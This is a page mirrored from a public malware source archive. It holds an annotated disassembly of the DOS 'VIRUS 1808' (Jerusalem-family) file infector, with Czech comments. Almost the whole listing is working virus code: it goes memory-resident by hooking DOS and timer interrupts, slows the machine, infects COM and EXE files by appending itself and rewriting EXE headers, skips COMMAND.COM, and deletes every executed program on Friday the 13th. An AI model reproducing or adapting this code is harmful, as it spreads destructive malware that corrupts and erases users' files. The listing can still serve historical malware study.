mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-27 01:18:35 +00:00
583 lines
25 KiB
NASM
583 lines
25 KiB
NASM
;=======================================================================
|
||
; VIRUS 1808
|
||
; Virus se napojuje na preruseni 08 (hodiny) a zpomaluje chod pocitace.
|
||
;
|
||
;
|
||
;
|
||
45AD:0100 E99200 JMP 0195
|
||
0100 E9 92 00 73 55 4D 73 44-6F 73 00 01 77 14 00 00 i..sUMsDos..w...
|
||
0110 00 00 01 2C 02 70 00 1C-02 BC 0F EB 04 FE 0D C6 ...,.p...<.k.~.F
|
||
0120 5D 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ]...............
|
||
0130 00 F2 13 80 00 00 00 80-00 F2 13 5C 00 F2 13 6C .r.......r.\.r.l
|
||
0140 00 F2 13 10 07 82 2A C5-00 82 2A 00 F0 06 00 4D .r....*E..*.p..M
|
||
0150 5A 40 00 5D 01 00 00 20-00 2F 02 FF FF F3 2A 10 Z@.]... ./...s*.
|
||
0160 07 84 19 C5 00 F3 2A 1E-00 00 00 00 00 00 00 00 ...E.s*.........
|
||
0170 05 00 20 00 94 09 B0 B1-00 02 10 00 30 B1 02 00 .. ...01....01..
|
||
|
||
45AD:0195 FC CLD
|
||
45AD:0196 B4E0 MOV AH,E0 ;================================
|
||
45AD:0198 CD21 INT 21 ; Test pritomnosti v pamati.
|
||
45AD:019A 80FCE0 CMP AH,E0 ;
|
||
45AD:019D 7316 JNB 01B5
|
||
45AD:019F 80FC03 CMP AH,03
|
||
45AD:01A2 7211 JB 01B5
|
||
45AD:01A4 B4DD MOV AH,DD
|
||
45AD:01A6 BF0001 MOV DI,0100
|
||
45AD:01A9 BE1007 MOV SI,0710
|
||
45AD:01AC 03F7 ADD SI,DI
|
||
45AD:01AE 2E8B8D1100 MOV CX,CS:[DI+0011]
|
||
45AD:01B3 CD21 INT 21
|
||
45AD:01B5 8CC8 MOV AX,CS
|
||
45AD:01B7 051000 ADD AX,0010
|
||
45AD:01BA 8ED0 MOV SS,AX
|
||
45AD:01BC BC0007 MOV SP,0700
|
||
45AD:01BF 50 PUSH AX
|
||
45AD:01C0 B8C500 MOV AX,00C5
|
||
45AD:01C3 50 PUSH AX
|
||
45AD:01C4 CB RETF ; Jdeme na nasledujici radek.
|
||
;=========================================================================
|
||
45BD:00C5 FC CLD ;
|
||
45BD:00C6 06 PUSH ES
|
||
45BD:00C7 2E8C063100 MOV CS:[0031],ES
|
||
45BD:00CC 2E8C063900 MOV CS:[0039],ES
|
||
45BD:00D1 2E8C063D00 MOV CS:[003D],ES
|
||
45BD:00D6 2E8C064100 MOV CS:[0041],ES
|
||
45BD:00DB 8CC0 MOV AX,ES
|
||
45BD:00DD 051000 ADD AX,0010
|
||
45BD:00E0 2E01064900 ADD CS:[0049],AX
|
||
45BD:00E5 2E01064500 ADD CS:[0045],AX
|
||
45BD:00EA B4E0 MOV AH,E0 ;=========================
|
||
45BD:00EC CD21 INT 21 ;
|
||
45BD:00EE 80FCE0 CMP AH,E0 ;
|
||
45BD:00F1 7313 JNB 0106 ;=========================
|
||
45BD:00F3 80FC03 CMP AH,03 ; VIRUS JE INSTALOVAN.
|
||
45BD:00F6 07 POP ES
|
||
45BD:00F7 2E8E164500 MOV SS,CS:[0045]
|
||
45BD:00FC 2E8B264300 MOV SP,CS:[0043]
|
||
45BD:0101 2EFF2E4700 JMP FAR CS:[0047]
|
||
45BD:0106 33C0 XOR AX,AX ;=========================
|
||
45BD:0108 8EC0 MOV ES,AX ; VIRUS NENI INSTALOVAN.
|
||
45BD:010A 26A1FC03 MOV AX,ES:[03FC] ; Prerusovaci vektor 255.
|
||
45BD:010E 2EA34B00 MOV CS:[004B],AX ; Je definovan kod
|
||
45BD:0112 26A0FE03 MOV AL,ES:[03FE] ; 0000:03FC F3 REPZ
|
||
45BD:0116 2EA24D00 MOV CS:[004D],AL 0000:03FD A5 MOVSW
|
||
45BD:011A 26C706FC03F3A5 MOV Word Ptr ES:[03FC],A5F3 0000:03FE CB RETF
|
||
45BD:0121 26C606FE03CB MOV Byte Ptr ES:[03FE],CB
|
||
45BD:0127 58 POP AX
|
||
45BD:0128 051000 ADD AX,0010
|
||
45BD:012B 8EC0 MOV ES,AX
|
||
45BD:012D 0E PUSH CS
|
||
45BD:012E 1F POP DS
|
||
45BD:012F B91007 MOV CX,0710
|
||
45BD:0132 D1E9 SHR CX,1
|
||
45BD:0134 33F6 XOR SI,SI
|
||
45BD:0136 8BFE MOV DI,SI
|
||
45BD:0138 06 PUSH ES
|
||
45BD:0139 B84201 MOV AX,0142
|
||
45BD:013C 50 PUSH AX
|
||
45BD:013D EAFC030000 JMP 0000:03FC ;========================
|
||
45BD:0142 8CC8 MOV AX,CS ; Po skoku pokracujeme
|
||
45BD:0144 8ED0 MOV SS,AX ; na 45BD:142
|
||
45BD:0146 BC0007 MOV SP,0700
|
||
45BD:0149 33C0 XOR AX,AX ;========================
|
||
45BD:014B 8ED8 MOV DS,AX ;
|
||
45BD:014D 2EA14B00 MOV AX,CS:[004B] ; Obnoveni puvodni hodno-
|
||
45BD:0151 A3FC03 MOV [03FC],AX ; ty preruseni 255.
|
||
45BD:0154 2EA04D00 MOV AL,CS:[004D]
|
||
45BD:0158 A2FE03 MOV [03FE],AL
|
||
45BD:015B 8BDC MOV BX,SP ; Velikost programu v
|
||
45BD:015D B104 MOV CL,04 ; paragrafech.
|
||
45BD:015F D3EB SHR BX,CL
|
||
45BD:0161 83C310 ADD BX,+10
|
||
45BD:0164 2E891E3300 MOV CS:[0033],BX ; Zmen velikost alokovane
|
||
45BD:0169 B44A MOV AH,4A ; pameti.
|
||
45BD:016B 2E8E063100 MOV ES,CS:[0031] ;
|
||
45BD:0170 CD21 INT 21 ;========================
|
||
45BD:0172 B82135 MOV AX,3521 ; Cti preruseni 21H.
|
||
45BD:0175 CD21 INT 21 ;
|
||
45BD:0177 2E891E1700 MOV CS:[0017],BX ;
|
||
45BD:017C 2E8C061900 MOV CS:[0019],ES ;========================
|
||
45BD:0181 0E PUSH CS
|
||
45BD:0182 1F POP DS
|
||
45BD:0183 BA5B02 MOV DX,025B ; Definice noveho vektoru
|
||
45BD:0186 B82125 MOV AX,2521 ; preruseni 21H.
|
||
45BD:0189 CD21 INT 21 ;========================
|
||
45BD:018B 8E063100 MOV ES,[0031]
|
||
45BD:018F 268E062C00 MOV ES,ES:[002C]
|
||
45BD:0194 33FF XOR DI,DI
|
||
45BD:0196 B9FF7F MOV CX,7FFF
|
||
45BD:0199 32C0 XOR AL,AL
|
||
45BD:019B F2 REPNZ
|
||
45BD:019C AE SCASB
|
||
45BD:019D 263805 CMP ES:[DI],AL
|
||
45BD:01A0 E0F9 LOOPNZ 019B
|
||
45BD:01A2 8BD7 MOV DX,DI
|
||
45BD:01A4 83C203 ADD DX,+03
|
||
45BD:01A7 B8004B MOV AX,4B00
|
||
45BD:01AA 06 PUSH ES
|
||
45BD:01AB 1F POP DS
|
||
45BD:01AC 0E PUSH CS
|
||
45BD:01AD 07 POP ES
|
||
45BD:01AE BB3500 MOV BX,0035
|
||
45BD:01B1 1E PUSH DS
|
||
45BD:01B2 06 PUSH ES
|
||
45BD:01B3 50 PUSH AX
|
||
45BD:01B4 53 PUSH BX
|
||
45BD:01B5 51 PUSH CX
|
||
45BD:01B6 52 PUSH DX
|
||
45BD:01B7 B42A MOV AH,2A ; DATUM
|
||
45BD:01B9 CD21 INT 21 ;======================
|
||
45BD:01BB 2EC6060E0000 MOV Byte Ptr CS:[000E],00
|
||
45BD:01C1 81F9C307 CMP CX,07C3 ; Virus se nemnozi roku
|
||
45BD:01C5 7430 JZ 01F7 ; 1987, v patek 13 maze
|
||
45BD:01C7 3C05 CMP AL,05 ; spustene soubory.
|
||
45BD:01C9 750D JNZ 01D8
|
||
45BD:01CB 80FA0D CMP DL,0D
|
||
45BD:01CE 7508 JNZ 01D8
|
||
45BD:01D0 2EFE060E00 INC Byte Ptr CS:[000E]
|
||
45BD:01D5 EB20 JMP 01F7
|
||
45BD:01D7 90 NOP
|
||
45BD:01D8 B80835 MOV AX,3508 ;=======================
|
||
45BD:01DB CD21 INT 21 ; Redefinice preruseni
|
||
45BD:01DD 2E891E1300 MOV CS:[0013],BX ; 08.
|
||
45BD:01E2 2E8C061500 MOV CS:[0015],ES
|
||
45BD:01E7 0E PUSH CS
|
||
45BD:01E8 1F POP DS
|
||
45BD:01E9 C7061F00907E MOV Word Ptr [001F],7E90
|
||
45BD:01EF B80825 MOV AX,2508
|
||
45BD:01F2 BA1E02 MOV DX,021E ;
|
||
45BD:01F5 CD21 INT 21 ;=======================
|
||
45BD:01F7 5A POP DX
|
||
45BD:01F8 59 POP CX
|
||
45BD:01F9 5B POP BX
|
||
45BD:01FA 58 POP AX
|
||
45BD:01FB 07 POP ES
|
||
45BD:01FC 1F POP DS
|
||
45BD:01FD 9C PUSHF
|
||
45BD:01FE 2EFF1E1700 CALL FAR CS:[0017] ; LOAD AND EXECUTE.
|
||
45BD:0203 1E PUSH DS ;
|
||
45BD:0204 07 POP ES
|
||
45BD:0205 B449 MOV AH,49
|
||
45BD:0207 CD21 INT 21
|
||
45BD:0209 B44D MOV AH,4D
|
||
45BD:020B CD21 INT 21
|
||
45BD:020D B431 MOV AH,31
|
||
45BD:020F BA0006 MOV DX,0600
|
||
45BD:0212 B104 MOV CL,04
|
||
45BD:0214 D3EA SHR DX,CL
|
||
45BD:0216 83C210 ADD DX,+10
|
||
45BD:0219 CD21 INT 21
|
||
45BD:021B 32C0 XOR AL,AL
|
||
45BD:021D CF IRET
|
||
;
|
||
;=======================================================================
|
||
; OBSLUHA PRERUSENI 08.
|
||
;
|
||
45BD:021E 2E833E1F0002 CMP Word Ptr CS:[001F],+02
|
||
45BD:0224 7517 JNZ 023D
|
||
45BD:0226 50 PUSH AX
|
||
45BD:0227 53 PUSH BX
|
||
45BD:0228 51 PUSH CX
|
||
45BD:0229 52 PUSH DX
|
||
45BD:022A 55 PUSH BP
|
||
45BD:022B B80206 MOV AX,0602
|
||
45BD:022E B787 MOV BH,87
|
||
45BD:0230 B90505 MOV CX,0505
|
||
45BD:0233 BA1010 MOV DX,1010
|
||
45BD:0236 CD10 INT 10
|
||
45BD:0238 5D POP BP
|
||
45BD:0239 5A POP DX
|
||
45BD:023A 59 POP CX
|
||
45BD:023B 5B POP BX
|
||
45BD:023C 58 POP AX
|
||
45BD:023D 2EFF0E1F00 DEC Word Ptr CS:[001F]
|
||
45BD:0242 7512 JNZ 0256
|
||
45BD:0244 2EC7061F000100 MOV Word Ptr CS:[001F],0001
|
||
45BD:024B 50 PUSH AX
|
||
45BD:024C 51 PUSH CX
|
||
45BD:024D 56 PUSH SI
|
||
45BD:024E B90140 MOV CX,4001
|
||
45BD:0251 F3 REPZ
|
||
45BD:0252 AC LODSB
|
||
45BD:0253 5E POP SI
|
||
45BD:0254 59 POP CX
|
||
45BD:0255 58 POP AX
|
||
45BD:0256 2EFF2E1300 JMP FAR CS:[0013]
|
||
;
|
||
;=======================================================================
|
||
; OBSLUHA PRERUSENI 21H.
|
||
;
|
||
45BD:025B 9C PUSHF
|
||
45BD:025C 80FCE0 CMP AH,E0
|
||
45BD:025F 7505 JNZ 0266
|
||
45BD:0261 B80003 MOV AX,0300 ; Test pritomnosti.
|
||
45BD:0264 9D POPF ;
|
||
45BD:0265 CF IRET ;==========================
|
||
45BD:0266 80FCDD CMP AH,DD ;
|
||
45BD:0269 7413 JZ 027E
|
||
45BD:026B 80FCDE CMP AH,DE
|
||
45BD:026E 7428 JZ 0298
|
||
45BD:0270 3D004B CMP AX,4B00 ; LOAD AND EXECUTE.
|
||
45BD:0273 7503 JNZ 0278
|
||
45BD:0275 E9B400 JMP 032C
|
||
45BD:0278 9D POPF
|
||
45BD:0279 2EFF2E1700 JMP FAR CS:[0017] ; Puvodni obsluha.
|
||
;==============================================
|
||
45BD:027E 58 POP AX ; Obsluha kodu 0DDH.
|
||
45BD:027F 58 POP AX
|
||
45BD:0280 B80001 MOV AX,0100
|
||
45BD:0283 2EA30A00 MOV CS:[000A],AX
|
||
45BD:0287 58 POP AX
|
||
45BD:0288 2EA30C00 MOV CS:[000C],AX
|
||
45BD:028C F3 REPZ
|
||
45BD:028D A4 MOVSB
|
||
45BD:028E 9D POPF
|
||
45BD:028F 2EA10F00 MOV AX,CS:[000F]
|
||
45BD:0293 2EFF2E0A00 JMP FAR CS:[000A]
|
||
;==============================================
|
||
45BD:0298 83C406 ADD SP,+06 ; Obsluha kodu 0DEH.
|
||
45BD:029B 9D POPF
|
||
45BD:029C 8CC8 MOV AX,CS
|
||
45BD:029E 8ED0 MOV SS,AX
|
||
45BD:02A0 BC1007 MOV SP,0710
|
||
45BD:02A3 06 PUSH ES
|
||
45BD:02A4 06 PUSH ES
|
||
45BD:02A5 33FF XOR DI,DI
|
||
45BD:02A7 0E PUSH CS
|
||
45BD:02A8 07 POP ES
|
||
45BD:02A9 B91000 MOV CX,0010
|
||
45BD:02AC 8BF3 MOV SI,BX
|
||
45BD:02AE BF2100 MOV DI,0021
|
||
45BD:02B1 F3 REPZ
|
||
45BD:02B2 A4 MOVSB
|
||
45BD:02B3 8CD8 MOV AX,DS
|
||
45BD:02B5 8EC0 MOV ES,AX
|
||
45BD:02B7 2EF7267A00 MUL Word Ptr CS:[007A]
|
||
45BD:02BC 2E03062B00 ADD AX,CS:[002B]
|
||
45BD:02C1 83D200 ADC DX,+00
|
||
45BD:02C4 2EF7367A00 DIV Word Ptr CS:[007A]
|
||
45BD:02C9 8ED8 MOV DS,AX
|
||
45BD:02CB 8BF2 MOV SI,DX
|
||
45BD:02CD 8BFA MOV DI,DX
|
||
45BD:02CF 8CC5 MOV BP,ES
|
||
45BD:02D1 2E8B1E2F00 MOV BX,CS:[002F]
|
||
45BD:02D6 0BDB OR BX,BX
|
||
45BD:02D8 7413 JZ 02ED
|
||
45BD:02DA B90080 MOV CX,8000
|
||
45BD:02DD F3 REPZ
|
||
45BD:02DE A5 MOVSW
|
||
45BD:02DF 050010 ADD AX,1000
|
||
45BD:02E2 81C50010 ADD BP,1000
|
||
45BD:02E6 8ED8 MOV DS,AX
|
||
45BD:02E8 8EC5 MOV ES,BP
|
||
45BD:02EA 4B DEC BX
|
||
45BD:02EB 75ED JNZ 02DA
|
||
45BD:02ED 2E8B0E2D00 MOV CX,CS:[002D]
|
||
45BD:02F2 F3 REPZ
|
||
45BD:02F3 A4 MOVSB
|
||
45BD:02F4 58 POP AX
|
||
45BD:02F5 50 PUSH AX
|
||
45BD:02F6 051000 ADD AX,0010
|
||
45BD:02F9 2E01062900 ADD CS:[0029],AX
|
||
45BD:02FE 2E01062500 ADD CS:[0025],AX
|
||
45BD:0303 2EA12100 MOV AX,CS:[0021]
|
||
45BD:0307 1F POP DS
|
||
45BD:0308 07 POP ES
|
||
45BD:0309 2E8E162900 MOV SS,CS:[0029]
|
||
45BD:030E 2E8B262700 MOV SP,CS:[0027]
|
||
45BD:0313 2EFF2E2300 JMP FAR CS:[0023]
|
||
;==============================================
|
||
45BD:0318 33C9 XOR CX,CX ; Vymazani souboru.
|
||
45BD:031A B80143 MOV AX,4301 ; Zmen atributy souboru.
|
||
45BD:031D CD21 INT 21 ;
|
||
45BD:031F B441 MOV AH,41 ; Vymaz
|
||
45BD:0321 CD21 INT 21
|
||
45BD:0323 B8004B MOV AX,4B00 ; a vykonej.
|
||
45BD:0326 9D POPF
|
||
45BD:0327 2EFF2E1700 JMP FAR CS:[0017] ; FUNGUJE v patek 13.
|
||
;==============================================
|
||
45BD:032C 2E803E0E0001 CMP Byte Ptr CS:[000E],01 ; LOAD & EXECUTE.
|
||
45BD:0332 74E4 JZ 0318
|
||
45BD:0334 2EC7067000FFFF MOV Word Ptr CS:[0070],FFFF
|
||
45BD:033B 2EC7068F000000 MOV Word Ptr CS:[008F],0000
|
||
45BD:0342 2E89168000 MOV CS:[0080],DX
|
||
45BD:0347 2E8C1E8200 MOV CS:[0082],DS
|
||
45BD:034C 50 PUSH AX
|
||
45BD:034D 53 PUSH BX
|
||
45BD:034E 51 PUSH CX
|
||
45BD:034F 52 PUSH DX
|
||
45BD:0350 56 PUSH SI
|
||
45BD:0351 57 PUSH DI
|
||
45BD:0352 1E PUSH DS
|
||
45BD:0353 06 PUSH ES
|
||
45BD:0354 FC CLD
|
||
45BD:0355 8BFA MOV DI,DX
|
||
45BD:0357 32D2 XOR DL,DL
|
||
45BD:0359 807D013A CMP Byte Ptr [DI+01],3A
|
||
45BD:035D 7505 JNZ 0364 ;
|
||
45BD:035F 8A15 MOV DL,[DI] ; Volny prostor na disku.
|
||
45BD:0361 80E21F AND DL,1F
|
||
45BD:0364 B436 MOV AH,36
|
||
45BD:0366 CD21 INT 21
|
||
45BD:0368 3DFFFF CMP AX,FFFF
|
||
45BD:036B 7503 JNZ 0370
|
||
45BD:036D E97702 JMP 05E7 ;==========================
|
||
45BD:0370 F7E3 MUL BX ; Vypocet volneho prostoru.
|
||
45BD:0372 F7E1 MUL CX
|
||
45BD:0374 0BD2 OR DX,DX
|
||
45BD:0376 7505 JNZ 037D
|
||
45BD:0378 3D1007 CMP AX,0710 ; Je dost mista na VIRUS?
|
||
45BD:037B 72F0 JB 036D
|
||
45BD:037D 2E8B168000 MOV DX,CS:[0080]
|
||
45BD:0382 1E PUSH DS
|
||
45BD:0383 07 POP ES
|
||
45BD:0384 32C0 XOR AL,AL
|
||
45BD:0386 B94100 MOV CX,0041
|
||
45BD:0389 F2 REPNZ ; Hledani konce retezce.
|
||
45BD:038A AE SCASB
|
||
45BD:038B 2E8B368000 MOV SI,CS:[0080]
|
||
45BD:0390 8A04 MOV AL,[SI]
|
||
45BD:0392 0AC0 OR AL,AL
|
||
45BD:0394 740E JZ 03A4
|
||
45BD:0396 3C61 CMP AL,61
|
||
45BD:0398 7207 JB 03A1
|
||
45BD:039A 3C7A CMP AL,7A
|
||
45BD:039C 7703 JA 03A1
|
||
45BD:039E 802C20 SUB Byte Ptr [SI],20
|
||
45BD:03A1 46 INC SI
|
||
45BD:03A2 EBEC JMP 0390
|
||
45BD:03A4 B90B00 MOV CX,000B
|
||
45BD:03A7 2BF1 SUB SI,CX
|
||
45BD:03A9 BF8400 MOV DI,0084
|
||
45BD:03AC 0E PUSH CS
|
||
45BD:03AD 07 POP ES
|
||
45BD:03AE B90B00 MOV CX,000B
|
||
45BD:03B1 F3 REPZ ; VIRUS neinfikuje
|
||
45BD:03B2 A6 CMPSB ; COMMAND.COM
|
||
45E3:03B3 7503 JNZ 03B8
|
||
45E3:03B5 E92F02 JMP 05E7
|
||
45E3:03B8 B80043 MOV AX,4300 ; Zjisti atributy
|
||
45E3:03BB CD21 INT 21 ; souboru.
|
||
45E3:03BD 7205 JB 03C4
|
||
45E3:03BF 2E890E7200 MOV CS:[0072],CX
|
||
45E3:03C4 7225 JB 03EB
|
||
45E3:03C6 32C0 XOR AL,AL
|
||
45E3:03C8 2EA24E00 MOV CS:[004E],AL
|
||
45E3:03CC 1E PUSH DS
|
||
45E3:03CD 07 POP ES
|
||
45E3:03CE 8BFA MOV DI,DX
|
||
45E3:03D0 B94100 MOV CX,0041
|
||
45E3:03D3 F2 REPNZ
|
||
45E3:03D4 AE SCASB
|
||
45E3:03D5 807DFE4D CMP Byte Ptr [DI-02],4D ; Rozeznani COM
|
||
45E3:03D9 740B JZ 03E6 ; a EXE souboru.
|
||
45E3:03DB 807DFE6D CMP Byte Ptr [DI-02],6D
|
||
45E3:03DF 7405 JZ 03E6
|
||
45E3:03E1 2EFE064E00 INC Byte Ptr CS:[004E]
|
||
45E3:03E6 B8003D MOV AX,3D00 ; Otevri soubor.
|
||
45E3:03E9 CD21 INT 21
|
||
45E3:03EB 725A JB 0447
|
||
45E3:03ED 2EA37000 MOV CS:[0070],AX
|
||
45E3:03F1 8BD8 MOV BX,AX
|
||
45E3:03F3 B80242 MOV AX,4202 ; Posun R/W pointer.
|
||
45E3:03F6 B9FFFF MOV CX,FFFF ; 5 byte od konce
|
||
45E3:03F9 BAFBFF MOV DX,FFFB ; souboru.
|
||
45E3:03FC CD21 INT 21 ;=====================
|
||
45E3:03FE 72EB JB 03EB
|
||
45E3:0400 050500 ADD AX,0005
|
||
45E3:0403 2EA31100 MOV CS:[0011],AX
|
||
45E3:0407 B90500 MOV CX,0005
|
||
45E3:040A BA6B00 MOV DX,006B ; Cti ze souboru
|
||
45E3:040D 8CC8 MOV AX,CS ; 5 byte (CS:6B)
|
||
45E3:040F 8ED8 MOV DS,AX
|
||
45E3:0411 8EC0 MOV ES,AX
|
||
45E3:0413 B43F MOV AH,3F
|
||
45E3:0415 CD21 INT 21
|
||
45E3:0417 8BFA MOV DI,DX
|
||
45E3:0419 BE0500 MOV SI,0005 ; Rozpoznavaci kod je
|
||
45E3:041C F3 REPZ ; MsDos.
|
||
45E3:041D A6 CMPSB
|
||
45E3:041E 7507 JNZ 0427
|
||
45E3:0420 B43E MOV AH,3E ; Soubor je nakazen.
|
||
45E3:0422 CD21 INT 21
|
||
45E3:0424 E9C001 JMP 05E7
|
||
45E3:0427 B82435 MOV AX,3524
|
||
45E3:042A CD21 INT 21
|
||
45E3:042C 891E1B00 MOV [001B],BX
|
||
45E3:0430 8C061D00 MOV [001D],ES
|
||
45E3:0434 BA1B02 MOV DX,021B
|
||
45E3:0437 B82425 MOV AX,2524
|
||
45E3:043A CD21 INT 21
|
||
45E3:043C C5168000 LDS DX,[0080]
|
||
45E3:0440 33C9 XOR CX,CX
|
||
45E3:0442 B80143 MOV AX,4301
|
||
45E3:0445 CD21 INT 21
|
||
45E3:0447 723B JB 0484
|
||
45E3:0449 2E8B1E7000 MOV BX,CS:[0070]
|
||
45E3:044E B43E MOV AH,3E
|
||
45E3:0450 CD21 INT 21
|
||
45E3:0452 2EC7067000FFFF MOV Word Ptr CS:[0070],FFFF
|
||
45E3:0459 B8023D MOV AX,3D02
|
||
45E3:045C CD21 INT 21
|
||
45E3:045E 7224 JB 0484
|
||
45E3:0460 2EA37000 MOV CS:[0070],AX
|
||
45E3:0464 8CC8 MOV AX,CS
|
||
45E3:0466 8ED8 MOV DS,AX
|
||
45E3:0468 8EC0 MOV ES,AX
|
||
45E3:046A 8B1E7000 MOV BX,[0070]
|
||
45E3:046E B80057 MOV AX,5700
|
||
45E3:0471 CD21 INT 21
|
||
45E3:0473 89167400 MOV [0074],DX
|
||
45E3:0477 890E7600 MOV [0076],CX
|
||
45E3:047B B80042 MOV AX,4200
|
||
45E3:047E 33C9 XOR CX,CX
|
||
45E3:0480 8BD1 MOV DX,CX
|
||
45E3:0482 CD21 INT 21
|
||
45E3:0484 723D JB 04C3
|
||
45E3:0486 803E4E0000 CMP Byte Ptr [004E],00
|
||
45E3:048B 7403 JZ 0490
|
||
45E3:048D EB57 JMP 04E6
|
||
45E3:048F 90 NOP
|
||
45E3:0490 BB0010 MOV BX,1000
|
||
45E3:0493 B448 MOV AH,48
|
||
45E3:0495 CD21 INT 21
|
||
45E3:0497 730B JNB 04A4
|
||
45E3:0499 B43E MOV AH,3E
|
||
45E3:049B 8B1E7000 MOV BX,[0070]
|
||
45E3:049F CD21 INT 21
|
||
45E3:04A1 E94301 JMP 05E7
|
||
45E3:04A4 FF068F00 INC Word Ptr [008F]
|
||
45E3:04A8 8EC0 MOV ES,AX
|
||
45E3:04AA 33F6 XOR SI,SI
|
||
45E3:04AC 8BFE MOV DI,SI
|
||
45E3:04AE B91007 MOV CX,0710
|
||
45E3:04B1 F3 REPZ
|
||
45E3:04B2 A4 MOVSB
|
||
45E3:04B3 8BD7 MOV DX,DI
|
||
45E3:04B5 8B0E1100 MOV CX,[0011]
|
||
45E3:04B9 8B1E7000 MOV BX,[0070]
|
||
45E3:04BD 06 PUSH ES
|
||
45E3:04BE 1F POP DS
|
||
45E3:04BF B43F MOV AH,3F
|
||
45E3:04C1 CD21 INT 21
|
||
45E3:04C3 721C JB 04E1
|
||
45E3:04C5 03F9 ADD DI,CX
|
||
45E3:04C7 33C9 XOR CX,CX
|
||
45E3:04C9 8BD1 MOV DX,CX
|
||
45E3:04CB B80042 MOV AX,4200
|
||
45E3:04CE CD21 INT 21
|
||
45E3:04D0 BE0500 MOV SI,0005
|
||
45E3:04D3 B90500 MOV CX,0005
|
||
45E3:04D6 F3 REPZ
|
||
45E3:04D7 2EA4 MOVSB CS:
|
||
45E3:04D9 8BCF MOV CX,DI
|
||
45E3:04DB 33D2 XOR DX,DX
|
||
45E3:04DD B440 MOV AH,40
|
||
45E3:04DF CD21 INT 21
|
||
45E3:04E1 720D JB 04F0
|
||
45E3:04E3 E9BC00 JMP 05A2
|
||
45E3:04E6 B91C00 MOV CX,001C
|
||
45E3:04E9 BA4F00 MOV DX,004F
|
||
45E3:04EC B43F MOV AH,3F
|
||
45E3:04EE CD21 INT 21
|
||
45E3:04F0 724A JB 053C
|
||
45E3:04F2 C70661008419 MOV Word Ptr [0061],1984
|
||
45E3:04F8 A15D00 MOV AX,[005D]
|
||
45E3:04FB A34500 MOV [0045],AX
|
||
45E3:04FE A15F00 MOV AX,[005F]
|
||
45E3:0501 A34300 MOV [0043],AX
|
||
45E3:0504 A16300 MOV AX,[0063]
|
||
45E3:0507 A34700 MOV [0047],AX
|
||
45E3:050A A16500 MOV AX,[0065]
|
||
45E3:050D A34900 MOV [0049],AX
|
||
45E3:0510 A15300 MOV AX,[0053]
|
||
45E3:0513 833E510000 CMP Word Ptr [0051],+00
|
||
45E3:0518 7401 JZ 051B
|
||
45E3:051A 48 DEC AX
|
||
45E3:051B F7267800 MUL Word Ptr [0078]
|
||
45E3:051F 03065100 ADD AX,[0051]
|
||
45E3:0523 83D200 ADC DX,+00
|
||
45E3:0526 050F00 ADD AX,000F
|
||
45E3:0529 83D200 ADC DX,+00
|
||
45E3:052C 25F0FF AND AX,FFF0
|
||
45E3:052F A37C00 MOV [007C],AX
|
||
45E3:0532 89167E00 MOV [007E],DX
|
||
45E3:0536 051007 ADD AX,0710
|
||
45E3:0539 83D200 ADC DX,+00
|
||
45E3:053C 723A JB 0578
|
||
45E3:053E F7367800 DIV Word Ptr [0078]
|
||
45E3:0542 0BD2 OR DX,DX
|
||
45E3:0544 7401 JZ 0547
|
||
45E3:0546 40 INC AX
|
||
45E3:0547 A35300 MOV [0053],AX
|
||
45E3:054A 89165100 MOV [0051],DX
|
||
45E3:054E A17C00 MOV AX,[007C]
|
||
45E3:0551 8B167E00 MOV DX,[007E]
|
||
45E3:0555 F7367A00 DIV Word Ptr [007A]
|
||
45E3:0559 2B065700 SUB AX,[0057]
|
||
45E3:055D A36500 MOV [0065],AX
|
||
45E3:0560 C7066300C500 MOV Word Ptr [0063],00C5
|
||
45E3:0566 A35D00 MOV [005D],AX
|
||
45E3:0569 C7065F001007 MOV Word Ptr [005F],0710
|
||
45E3:056F 33C9 XOR CX,CX
|
||
45E3:0571 8BD1 MOV DX,CX
|
||
45E3:0573 B80042 MOV AX,4200
|
||
45E3:0576 CD21 INT 21
|
||
45E3:0578 720A JB 0584
|
||
45E3:057A B91C00 MOV CX,001C
|
||
45E3:057D BA4F00 MOV DX,004F
|
||
45E3:0580 B440 MOV AH,40
|
||
45E3:0582 CD21 INT 21
|
||
45E3:0584 7211 JB 0597
|
||
45E3:0586 3BC1 CMP AX,CX
|
||
45E3:0588 7518 JNZ 05A2
|
||
45E3:058A 8B167C00 MOV DX,[007C]
|
||
45E3:058E 8B0E7E00 MOV CX,[007E]
|
||
45E3:0592 B80042 MOV AX,4200
|
||
45E3:0595 CD21 INT 21
|
||
45E3:0597 7209 JB 05A2
|
||
45E3:0599 33D2 XOR DX,DX
|
||
45E3:059B B91007 MOV CX,0710
|
||
45E3:059E B440 MOV AH,40
|
||
45E3:05A0 CD21 INT 21
|
||
45E3:05A2 2E833E8F0000 CMP Word Ptr CS:[008F],+00
|
||
45E3:05A8 7404 JZ 05AE
|
||
45E3:05AA B449 MOV AH,49
|
||
45E3:05AC CD21 INT 21
|
||
45E3:05AE 2E833E7000FF CMP Word Ptr CS:[0070],-01
|
||
45E3:05B4 7431 JZ 05E7
|
||
45E3:05B6 2E8B1E7000 MOV BX,CS:[0070]
|
||
45E3:05BB 2E8B167400 MOV DX,CS:[0074]
|
||
45E3:05C0 2E8B0E7600 MOV CX,CS:[0076]
|
||
45E3:05C5 B80157 MOV AX,5701
|
||
45E3:05C8 CD21 INT 21
|
||
45E3:05CA B43E MOV AH,3E
|
||
45E3:05CC CD21 INT 21
|
||
45E3:05CE 2EC5168000 LDS DX,CS:[0080]
|
||
45E3:05D3 2E8B0E7200 MOV CX,CS:[0072]
|
||
45E3:05D8 B80143 MOV AX,4301
|
||
45E3:05DB CD21 INT 21
|
||
45E3:05DD 2EC5161B00 LDS DX,CS:[001B]
|
||
45E3:05E2 B82425 MOV AX,2524
|
||
45E3:05E5 CD21 INT 21
|
||
45E3:05E7 07 POP ES
|
||
45E3:05E8 1F POP DS
|
||
45E3:05E9 5F POP DI
|
||
45E3:05EA 5E POP SI
|
||
45E3:05EB 5A POP DX
|
||
45E3:05EC 59 POP CX
|
||
45E3:05ED 5B POP BX
|
||
45E3:05EE 58 POP AX
|
||
45E3:05EF 9D POPF
|
||
45E3:05F0 2EFF2E1700 JMP FAR CS:[0017]
|
||
45E3:05F0 00 00 00-00 00 00 00 00 00 00 00 ...........
|
||
45E3:0600 F2 13 50 43 54 4F 4F 4C-53 2E 45 58 45 00 22 2F r.PCTOOLS.EXE."/
|
||
45E3:0610 01 FE 0D 00 8B 00 F0 F0-83 F2 F4 03 00 0F 00 00 .~....pp.rt.....
|
||
